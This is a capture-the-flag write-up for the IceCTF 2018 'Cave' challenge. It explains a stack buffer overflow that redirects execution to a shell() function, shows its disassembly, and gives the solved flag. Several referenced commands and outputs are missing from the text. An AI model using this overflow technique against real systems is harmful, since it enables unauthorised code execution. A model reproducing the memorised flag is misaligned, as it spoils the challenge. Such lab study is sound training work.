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IceCTF 2018 – Cave [Binary Exploitation]

Binary Exploitation – 2. Cave
Author: 5k33tz, valrkey

Worth: $50
Description: You stumbled upon a cave! I've heard some caves hold secrets.. can you find the secrets hidden within its depths?
The start of the challenge establishes an SSH connection for you. The only directory you're presented with is a directory called "cave". CD'ing into the cave directory shows the following files:

The challenge is nice enough to leave the original source code used to compile the binary:

This appears to be a standard buffer-overflow question, but I notice that the shell function will need to be called separately.
Running the following command we can see the the shell() function is called at a static address (0x0804850b):
objdump -d ./shout | grep -A25 shell
0804850b <shell>:
 804850b: 55                    push   %ebp
 804850c: 89 e5                mov    %esp,%ebp
 804850e: 53                    push   %ebx
 804850f: 83 ec 14              sub    $0x14,%esp
 8048512: e8 29 ff ff ff        call   8048440 <__x86.get_pc_thunk.bx>
 8048517: 81 c3 e9 1a 00 00    add    $0x1ae9,%ebx
 804851d: e8 7e fe ff ff        call   80483a0 <getegid@plt>
 8048522: 89 45 f4              mov    %eax,-0xc(%ebp)
 8048525: 83 ec 04              sub    $0x4,%esp
 8048528: ff 75 f4              pushl  -0xc(%ebp)
 804852b: ff 75 f4              pushl  -0xc(%ebp)
 804852e: ff 75 f4              pushl  -0xc(%ebp)
 8048531: e8 ba fe ff ff        call   80483f0 <setresgid@plt>
 8048536: 83 c4 10              add    $0x10,%esp
 8048539: 83 ec 0c              sub    $0xc,%esp
 804853c: 8d 83 70 e6 ff ff    lea    -0x1990(%ebx),%eax
 8048542: 50                    push   %eax
 8048543: e8 88 fe ff ff        call   80483d0 <system@plt>
 8048548: 83 c4 10              add    $0x10,%esp
 804854b: 90                    nop
 804854c: 8b 5d fc              mov    -0x4(%ebp),%ebx
 804854f: c9                    leave  
 8048550: c3                    ret    

Next we validate that overloading the buffer will result in a seg fault:

Then we can place the location of the shell() function in hex, in little-endian. Creating the overflow condition, spawning our shell, then reading the flag:
Echo-ing out the string worked out fine in this case since we were overflowing a small buffer of 16 characters. For larger overflows, you may want to use Python for more powerful string formatting such as multiplication ("A"*28 becomes a string of 28 A's):

Flag = IceCTF{i_dont_think_cavemen_overflowed_buffers}


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